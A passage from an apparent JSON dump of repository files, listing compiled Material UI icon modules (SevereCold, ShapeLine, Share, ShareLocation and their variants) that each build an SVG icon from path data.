11.5H10v-6H7V7h1.5zm4.75 0H15l1.46-4.71c.19-.64-.29-1.29-.96-1.29H12V7h2.62z\"\n}, \"4\")], 'SeventeenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SeventeenMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1m-6-8h3.5c.67 0 1.15.65.96 1.29L15 11.5h-1.75L14.62 7H12zm-5 0h3v6H8.5V7H7zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm4.75 0H15l1.46-4.71c.19-.64-.29-1.29-.96-1.29H12V7h2.62z\"\n}, \"4\")], 'SeventeenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevereCold.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 10.41 4-4L14.59 5 12 7.59V4h-2v3.59L7.41 5 6 6.41l4 4V12H8.41l-4-4L3 9.41 5.59 12H2v2h3.59L3 16.59 4.41 18l4-4H10v1.59l-4 4L7.41 21 10 18.41V22h2v-3.59L14.59 21 16 19.59l-4-4V14h1.59l4 4L19 16.59 16.41 14H20v-2h-8zM19 2h2v5h-2zm0 6h2v2h-2z\"\n}), 'SevereCold');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevereCold.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 10.41 4-4L14.59 5 12 7.59V4h-2v3.59L7.41 5 6 6.41l4 4V12H8.41l-4-4L3 9.41 5.59 12H2v2h3.59L3 16.59 4.41 18l4-4H10v1.59l-4 4L7.41 21 10 18.41V22h2v-3.59L14.59 21 16 19.59l-4-4V14h1.59l4 4L19 16.59 16.41 14H20v-2h-8zM19 2h2v5h-2zm0 6h2v2h-2z\"\n}), 'SevereCold');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevereColdOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 10.41 4-4L14.59 5 12 7.59V4h-2v3.59L7.41 5 6 6.41l4 4V12H8.41l-4-4L3 9.41 5.59 12H2v2h3.59L3 16.59 4.41 18l4-4H10v1.59l-4 4L7.41 21 10 18.41V22h2v-3.59L14.59 21 16 19.59l-4-4V14h1.59l4 4L19 16.59 16.41 14H20v-2h-8zM19 2h2v5h-2zm0 6h2v2h-2z\"\n}), 'SevereColdOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevereColdOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 10.41 4-4L14.59 5 12 7.59V4h-2v3.59L7.41 5 6 6.41l4 4V12H8.41l-4-4L3 9.41 5.59 12H2v2h3.59L3 16.59 4.41 18l4-4H10v1.59l-4 4L7.41 21 10 18.41V22h2v-3.59L14.59 21 16 19.59l-4-4V14h1.59l4 4L19 16.59 16.41 14H20v-2h-8zM19 2h2v5h-2zm0 6h2v2h-2z\"\n}), 'SevereColdOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevereColdRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1s1-.45 1-1V3c0-.55-.45-1-1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"20\",\n  cy: \"9\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 10.41 3.29-3.29c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0L12 7.59V5c0-.55-.45-1-1-1s-1 .45-1 1v2.59L8.12 5.71a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L10 10.41V12H8.41L5.12 8.71a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L5.59 12H3c-.55 0-1 .45-1 1s.45 1 1 1h2.59l-1.88 1.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L8.41 14H10v1.59l-3.29 3.29c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L10 18.41V21c0 .55.45 1 1 1s1-.45 1-1v-2.59l1.88 1.88c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12 15.59V14h1.59l3.29 3.29c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L16.41 14H19c.55 0 1-.45 1-1s-.45-1-1-1h-7z\"\n}, \"2\")], 'SevereColdRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevereColdRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1s1-.45 1-1V3c0-.55-.45-1-1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"20\",\n  cy: \"9\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 10.41 3.29-3.29c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0L12 7.59V5c0-.55-.45-1-1-1s-1 .45-1 1v2.59L8.12 5.71a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L10 10.41V12H8.41L5.12 8.71a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L5.59 12H3c-.55 0-1 .45-1 1s.45 1 1 1h2.59l-1.88 1.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L8.41 14H10v1.59l-3.29 3.29c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L10 18.41V21c0 .55.45 1 1 1s1-.45 1-1v-2.59l1.88 1.88c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12 15.59V14h1.59l3.29 3.29c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L16.41 14H19c.55 0 1-.45 1-1s-.45-1-1-1h-7z\"\n}, \"2\")], 'SevereColdRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevereColdSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 10.41 4-4L14.59 5 12 7.59V4h-2v3.59L7.41 5 6 6.41l4 4V12H8.41l-4-4L3 9.41 5.59 12H2v2h3.59L3 16.59 4.41 18l4-4H10v1.59l-4 4L7.41 21 10 18.41V22h2v-3.59L14.59 21 16 19.59l-4-4V14h1.59l4 4L19 16.59 16.41 14H20v-2h-8zM19 2h2v5h-2zm0 6h2v2h-2z\"\n}), 'SevereColdSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevereColdSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 10.41 4-4L14.59 5 12 7.59V4h-2v3.59L7.41 5 6 6.41l4 4V12H8.41l-4-4L3 9.41 5.59 12H2v2h3.59L3 16.59 4.41 18l4-4H10v1.59l-4 4L7.41 21 10 18.41V22h2v-3.59L14.59 21 16 19.59l-4-4V14h1.59l4 4L19 16.59 16.41 14H20v-2h-8zM19 2h2v5h-2zm0 6h2v2h-2z\"\n}), 'SevereColdSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevereColdTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 10.41 4-4L14.59 5 12 7.59V4h-2v3.59L7.41 5 6 6.41l4 4V12H8.41l-4-4L3 9.41 5.59 12H2v2h3.59L3 16.59 4.41 18l4-4H10v1.59l-4 4L7.41 21 10 18.41V22h2v-3.59L14.59 21 16 19.59l-4-4V14h1.59l4 4L19 16.59 16.41 14H20v-2h-8zM19 2h2v5h-2zm0 6h2v2h-2z\"\n}), 'SevereColdTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SevereColdTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 10.41 4-4L14.59 5 12 7.59V4h-2v3.59L7.41 5 6 6.41l4 4V12H8.41l-4-4L3 9.41 5.59 12H2v2h3.59L3 16.59 4.41 18l4-4H10v1.59l-4 4L7.41 21 10 18.41V22h2v-3.59L14.59 21 16 19.59l-4-4V14h1.59l4 4L19 16.59 16.41 14H20v-2h-8zM19 2h2v5h-2zm0 6h2v2h-2z\"\n}), 'SevereColdTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShapeLine.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 11c2.76 0 5-2.24 5-5S8.76 1 6 1 1 3.24 1 6s2.24 5 5 5m15 3h-5c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.71 7.7c.4.19.83.3 1.29.3 1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3c0 .46.11.89.3 1.29L6.29 16.3c-.4-.19-.83-.3-1.29-.3-1.65 0-3 1.35-3 3s1.35 3 3 3 3-1.35 3-3c0-.46-.11-.89-.3-1.29z\"\n}, \"1\")], 'ShapeLine');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShapeLine.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 11c2.76 0 5-2.24 5-5S8.76 1 6 1 1 3.24 1 6s2.24 5 5 5m15 3h-5c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.71 7.7c.4.19.83.3 1.29.3 1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3c0 .46.11.89.3 1.29L6.29 16.3c-.4-.19-.83-.3-1.29-.3-1.65 0-3 1.35-3 3s1.35 3 3 3 3-1.35 3-3c0-.46-.11-.89-.3-1.29z\"\n}, \"1\")], 'ShapeLine');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShapeLineOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 11c2.76 0 5-2.24 5-5S8.76 1 6 1 1 3.24 1 6s2.24 5 5 5m0-8c1.65 0 3 1.35 3 3S7.65 9 6 9 3 7.65 3 6s1.35-3 3-3m15 11h-5c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2m0 7h-5v-5h5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.71 7.7c.4.19.83.3 1.29.3 1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3c0 .46.11.89.3 1.29L6.29 16.3c-.4-.19-.83-.3-1.29-.3-1.65 0-3 1.35-3 3s1.35 3 3 3 3-1.35 3-3c0-.46-.11-.89-.3-1.29z\"\n}, \"1\")], 'ShapeLineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShapeLineOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 11c2.76 0 5-2.24 5-5S8.76 1 6 1 1 3.24 1 6s2.24 5 5 5m0-8c1.65 0 3 1.35 3 3S7.65 9 6 9 3 7.65 3 6s1.35-3 3-3m15 11h-5c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2m0 7h-5v-5h5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.71 7.7c.4.19.83.3 1.29.3 1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3c0 .46.11.89.3 1.29L6.29 16.3c-.4-.19-.83-.3-1.29-.3-1.65 0-3 1.35-3 3s1.35 3 3 3 3-1.35 3-3c0-.46-.11-.89-.3-1.29z\"\n}, \"1\")], 'ShapeLineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShapeLineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 11c2.76 0 5-2.24 5-5S8.76 1 6 1 1 3.24 1 6s2.24 5 5 5m15 3h-5c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.71 7.7c.4.19.83.3 1.29.3 1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3c0 .46.11.89.3 1.29L6.29 16.3c-.4-.19-.83-.3-1.29-.3-1.65 0-3 1.35-3 3s1.35 3 3 3 3-1.35 3-3c0-.46-.11-.89-.3-1.29z\"\n}, \"1\")], 'ShapeLineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShapeLineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 11c2.76 0 5-2.24 5-5S8.76 1 6 1 1 3.24 1 6s2.24 5 5 5m15 3h-5c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.71 7.7c.4.19.83.3 1.29.3 1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3c0 .46.11.89.3 1.29L6.29 16.3c-.4-.19-.83-.3-1.29-.3-1.65 0-3 1.35-3 3s1.35 3 3 3 3-1.35 3-3c0-.46-.11-.89-.3-1.29z\"\n}, \"1\")], 'ShapeLineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShapeLineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 11c2.76 0 5-2.24 5-5S8.76 1 6 1 1 3.24 1 6s2.24 5 5 5m17 3h-9v9h9z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.71 7.7c.4.19.83.3 1.29.3 1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3c0 .46.11.89.3 1.29L6.29 16.3c-.4-.19-.83-.3-1.29-.3-1.65 0-3 1.35-3 3s1.35 3 3 3 3-1.35 3-3c0-.46-.11-.89-.3-1.29z\"\n}, \"1\")], 'ShapeLineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShapeLineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 11c2.76 0 5-2.24 5-5S8.76 1 6 1 1 3.24 1 6s2.24 5 5 5m17 3h-9v9h9z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.71 7.7c.4.19.83.3 1.29.3 1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3c0 .46.11.89.3 1.29L6.29 16.3c-.4-.19-.83-.3-1.29-.3-1.65 0-3 1.35-3 3s1.35 3 3 3 3-1.35 3-3c0-.46-.11-.89-.3-1.29z\"\n}, \"1\")], 'ShapeLineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShapeLineTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 16h5v5h-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6\",\n  cy: \"6\",\n  r: \"3\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 11c2.76 0 5-2.24 5-5S8.76 1 6 1 1 3.24 1 6s2.24 5 5 5m0-8c1.65 0 3 1.35 3 3S7.65 9 6 9 3 7.65 3 6s1.35-3 3-3m15 11h-5c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2m0 7h-5v-5h5z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.71 7.7c.4.19.83.3 1.29.3 1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3c0 .46.11.89.3 1.29L6.29 16.3c-.4-.19-.83-.3-1.29-.3-1.65 0-3 1.35-3 3s1.35 3 3 3 3-1.35 3-3c0-.46-.11-.89-.3-1.29z\"\n}, \"3\")], 'ShapeLineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShapeLineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 16h5v5h-5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6\",\n  cy: \"6\",\n  r: \"3\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 11c2.76 0 5-2.24 5-5S8.76 1 6 1 1 3.24 1 6s2.24 5 5 5m0-8c1.65 0 3 1.35 3 3S7.65 9 6 9 3 7.65 3 6s1.35-3 3-3m15 11h-5c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2m0 7h-5v-5h5z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.71 7.7c.4.19.83.3 1.29.3 1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3c0 .46.11.89.3 1.29L6.29 16.3c-.4-.19-.83-.3-1.29-.3-1.65 0-3 1.35-3 3s1.35 3 3 3 3-1.35 3-3c0-.46-.11-.89-.3-1.29z\"\n}, \"3\")], 'ShapeLineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Share.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 16.08c-.76 0-1.44.3-1.96.77L8.91 12.7c.05-.23.09-.46.09-.7s-.04-.47-.09-.7l7.05-4.11c.54.5 1.25.81 2.04.81 1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3c0 .24.04.47.09.7L8.04 9.81C7.5 9.31 6.79 9 6 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c.79 0 1.5-.31 2.04-.81l7.12 4.16c-.05.21-.08.43-.08.65 0 1.61 1.31 2.92 2.92 2.92s2.92-1.31 2.92-2.92-1.31-2.92-2.92-2.92\"\n}), 'Share');"
  },
  {
    "path": "packages/mui-icons-material/lib/Share.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 16.08c-.76 0-1.44.3-1.96.77L8.91 12.7c.05-.23.09-.46.09-.7s-.04-.47-.09-.7l7.05-4.11c.54.5 1.25.81 2.04.81 1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3c0 .24.04.47.09.7L8.04 9.81C7.5 9.31 6.79 9 6 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c.79 0 1.5-.31 2.04-.81l7.12 4.16c-.05.21-.08.43-.08.65 0 1.61 1.31 2.92 2.92 2.92s2.92-1.31 2.92-2.92-1.31-2.92-2.92-2.92\"\n}), 'Share');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShareLocation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.02 19.93v2.02c2.01-.2 3.84-1 5.32-2.21l-1.42-1.43c-1.11.86-2.44 1.44-3.9 1.62M4.03 12c0-4.05 3.03-7.41 6.95-7.93V2.05C5.95 2.58 2.03 6.84 2.03 12s3.92 9.42 8.95 9.95v-2.02c-3.92-.52-6.95-3.88-6.95-7.93m15.92-1h2.02c-.2-2.01-1-3.84-2.21-5.32l-1.43 1.43c.86 1.1 1.44 2.43 1.62 3.89m-1.61-6.74c-1.48-1.21-3.32-2.01-5.32-2.21v2.02c1.46.18 2.79.76 3.9 1.62zm-.01 12.64 1.43 1.42c1.21-1.48 2.01-3.31 2.21-5.32h-2.02c-.18 1.46-.76 2.79-1.62 3.9\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 11.1C16 8.61 14.1 7 12 7s-4 1.61-4 4.1c0 1.66 1.33 3.63 4 5.9 2.67-2.27 4-4.24 4-5.9m-4 .9c-.59 0-1.07-.48-1.07-1.07s.48-1.07 1.07-1.07 1.07.48 1.07 1.07S12.59 12 12 12\"\n}, \"1\")], 'ShareLocation');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShareLocation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.02 19.93v2.02c2.01-.2 3.84-1 5.32-2.21l-1.42-1.43c-1.11.86-2.44 1.44-3.9 1.62M4.03 12c0-4.05 3.03-7.41 6.95-7.93V2.05C5.95 2.58 2.03 6.84 2.03 12s3.92 9.42 8.95 9.95v-2.02c-3.92-.52-6.95-3.88-6.95-7.93m15.92-1h2.02c-.2-2.01-1-3.84-2.21-5.32l-1.43 1.43c.86 1.1 1.44 2.43 1.62 3.89m-1.61-6.74c-1.48-1.21-3.32-2.01-5.32-2.21v2.02c1.46.18 2.79.76 3.9 1.62zm-.01 12.64 1.43 1.42c1.21-1.48 2.01-3.31 2.21-5.32h-2.02c-.18 1.46-.76 2.79-1.62 3.9\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 11.1C16 8.61 14.1 7 12 7s-4 1.61-4 4.1c0 1.66 1.33 3.63 4 5.9 2.67-2.27 4-4.24 4-5.9m-4 .9c-.59 0-1.07-.48-1.07-1.07s.48-1.07 1.07-1.07 1.07.48 1.07 1.07S12.59 12 12 12\"\n}, \"1\")], 'ShareLocation');"
  },
  {
    "path": "packages/mui-icons-material/lib/ShareLocationOutlined.js",
